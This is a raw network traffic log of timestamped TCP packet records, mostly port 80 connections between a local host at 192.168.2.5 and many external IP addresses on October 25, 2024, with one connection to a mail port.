Oct 25, 2024 11:18:08.745618105 CEST	52834	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:18:08.750317097 CEST	80	52571	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:08.750377893 CEST	52571	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:08.750521898 CEST	80	52851	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:08.750601053 CEST	52851	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:08.750917912 CEST	52851	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:08.753287077 CEST	80	52832	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.753396034 CEST	52832	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.756551981 CEST	80	52851	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:08.764992952 CEST	52832	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.773091078 CEST	80	52832	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.780461073 CEST	80	52833	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:08.780883074 CEST	52833	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:08.788572073 CEST	52852	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.794106007 CEST	80	52852	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.794161081 CEST	52852	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.794260025 CEST	52852	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.794514894 CEST	80	52835	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.795492887 CEST	52835	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.800004005 CEST	80	52852	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.810425997 CEST	52853	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:18:08.816350937 CEST	80	52853	193.166.255.171	192.168.2.5
Oct 25, 2024 11:18:08.816421032 CEST	52853	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:18:08.816556931 CEST	52853	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:18:08.822787046 CEST	80	52853	193.166.255.171	192.168.2.5
Oct 25, 2024 11:18:08.828711987 CEST	80	52835	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.829904079 CEST	52835	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.830024004 CEST	52835	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.835391045 CEST	80	52835	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.852329969 CEST	52566	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:08.852560997 CEST	52854	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:08.858273029 CEST	80	52566	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:08.858326912 CEST	52566	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:08.858841896 CEST	80	52854	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:08.858910084 CEST	52854	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:08.859949112 CEST	52854	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:08.865675926 CEST	80	52854	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:08.895576000 CEST	80	52818	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:08.896075964 CEST	52818	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:08.896625042 CEST	80	52818	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:08.896759987 CEST	52818	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:08.927043915 CEST	80	52831	89.161.163.246	192.168.2.5
Oct 25, 2024 11:18:08.927337885 CEST	80	52831	89.161.163.246	192.168.2.5
Oct 25, 2024 11:18:08.927414894 CEST	52831	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:18:08.947406054 CEST	80	52843	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:08.947519064 CEST	52843	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:08.956813097 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.957001925 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.957005978 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:08.957036018 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.957072020 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.957082033 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:08.957108021 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.957139969 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.957151890 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:08.957175016 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.957175970 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:08.957211018 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:08.957415104 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.957449913 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.957484007 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.957493067 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:08.957540989 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:08.962706089 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.962742090 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.962779999 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:08.962779999 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:08.962991953 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.963023901 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.963037014 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:08.963064909 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:08.970736027 CEST	80	52830	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:08.972033978 CEST	52830	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:09.046829939 CEST	52843	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:09.050148010 CEST	52856	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:09.053694010 CEST	80	52843	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:09.057316065 CEST	80	52856	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:09.057379961 CEST	52856	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:09.057528019 CEST	52856	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:09.064742088 CEST	80	52856	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:09.075093031 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075105906 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075129032 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075144053 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075160027 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075175047 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075191975 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075210094 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075210094 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.075232029 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075232029 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.075267076 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.075274944 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075352907 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.075506926 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075524092 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075544119 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.075622082 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.075730085 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075747013 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075768948 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.075793028 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.075807095 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075829983 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075845957 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.075846910 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.075869083 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.075886011 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.076694012 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.076709986 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.076735973 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.076750994 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.076766968 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.076853037 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.076875925 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.077810049 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.077827930 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.077920914 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.077941895 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.080691099 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.080703974 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.080749035 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.086874008 CEST	52858	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:09.093517065 CEST	52572	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:09.093563080 CEST	80	52858	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:09.093631983 CEST	52858	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:09.093767881 CEST	52858	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:09.096682072 CEST	52859	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:09.100270987 CEST	80	52572	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:09.100574970 CEST	80	52858	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:09.103544950 CEST	80	52859	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:09.103605986 CEST	52859	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:09.104238033 CEST	52859	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:09.111016989 CEST	80	52859	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:09.124069929 CEST	80	52840	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:09.124131918 CEST	52840	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:09.143224955 CEST	52840	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:09.150006056 CEST	80	52840	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:09.175384998 CEST	80	52843	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:09.175628901 CEST	52843	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:09.186624050 CEST	80	52842	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:09.186691999 CEST	52842	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:09.190911055 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.190933943 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.190948963 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.190989971 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.191006899 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.191025019 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.191055059 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.191126108 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.191140890 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.191155910 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.191170931 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.191181898 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.191188097 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.191191912 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.191225052 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.191514015 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.191529036 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.191545010 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.191554070 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.191565990 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.191586018 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.191631079 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.191646099 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.191659927 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.191668987 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.191684008 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.191703081 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.192096949 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192111015 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192125082 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192151070 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.192152977 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192172050 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192181110 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.192187071 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192202091 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.192204952 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192212105 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.192219019 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192229033 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.192250013 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.192259073 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.192806005 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192821026 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192836046 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192846060 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.192859888 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.192879915 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.192905903 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192922115 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192935944 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192944050 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.192958117 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192965031 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.192974091 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.192976952 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192991972 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.192992926 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.193008900 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.193013906 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.193031073 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.193052053 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.193806887 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.193830013 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.193846941 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.193849087 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.193861008 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.193866968 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.193877935 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.193881989 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.193892002 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.193896055 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.193912983 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.193921089 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.193928957 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.193929911 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.193943977 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.193944931 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.193962097 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.193964005 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.193975925 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.194010019 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.194715023 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.194730043 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.194746017 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.194768906 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.194794893 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.194825888 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.194842100 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.194864035 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.194876909 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.198260069 CEST	80	52841	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:09.198371887 CEST	52841	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:09.224751949 CEST	80	52846	192.252.154.18	192.168.2.5
Oct 25, 2024 11:18:09.224842072 CEST	52846	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:18:09.229688883 CEST	80	52848	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:09.229764938 CEST	52848	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:09.231909990 CEST	52842	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:09.232438087 CEST	52841	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:09.235699892 CEST	52838	25	192.168.2.5	142.251.168.27
Oct 25, 2024 11:18:09.237498999 CEST	80	52842	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:09.237795115 CEST	80	52841	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:09.258865118 CEST	80	52845	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:09.258963108 CEST	52845	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:09.262974024 CEST	52848	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:09.266452074 CEST	52860	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:09.268702030 CEST	80	52848	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:09.271959066 CEST	80	52860	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:09.272094011 CEST	52860	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:09.272322893 CEST	52860	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:09.277915001 CEST	80	52860	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:09.307703972 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.307779074 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.307810068 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.307845116 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.307881117 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.307929993 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.307934999 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.307934999 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.307934999 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.307934999 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.307965040 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.307971001 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.308013916 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.308041096 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.308093071 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.308111906 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.308126926 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.308161020 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.308180094 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.308202982 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.308357954 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.308392048 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.308406115 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.308430910 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.308444023 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.308475971 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.308482885 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.308516979 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.308548927 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.308562994 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.308584929 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.308594942 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.308614969 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.308659077 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309078932 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309125900 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309130907 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309165955 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309200048 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309200048 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309211016 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309235096 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309268951 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309281111 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309298038 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309304953 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309308052 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309341908 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309372902 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309384108 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309565067 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309597015 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309609890 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309629917 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309648991 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309663057 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309674978 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309699059 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309731007 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309734106 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309747934 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309765100 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309767962 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309807062 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309815884 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309850931 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309876919 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309884071 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309886932 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309919119 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309925079 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.309952974 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309986115 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.309995890 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.310020924 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.310064077 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.310072899 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.310108900 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.336007118 CEST	52861	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:18:09.341388941 CEST	80	52861	193.166.255.171	192.168.2.5
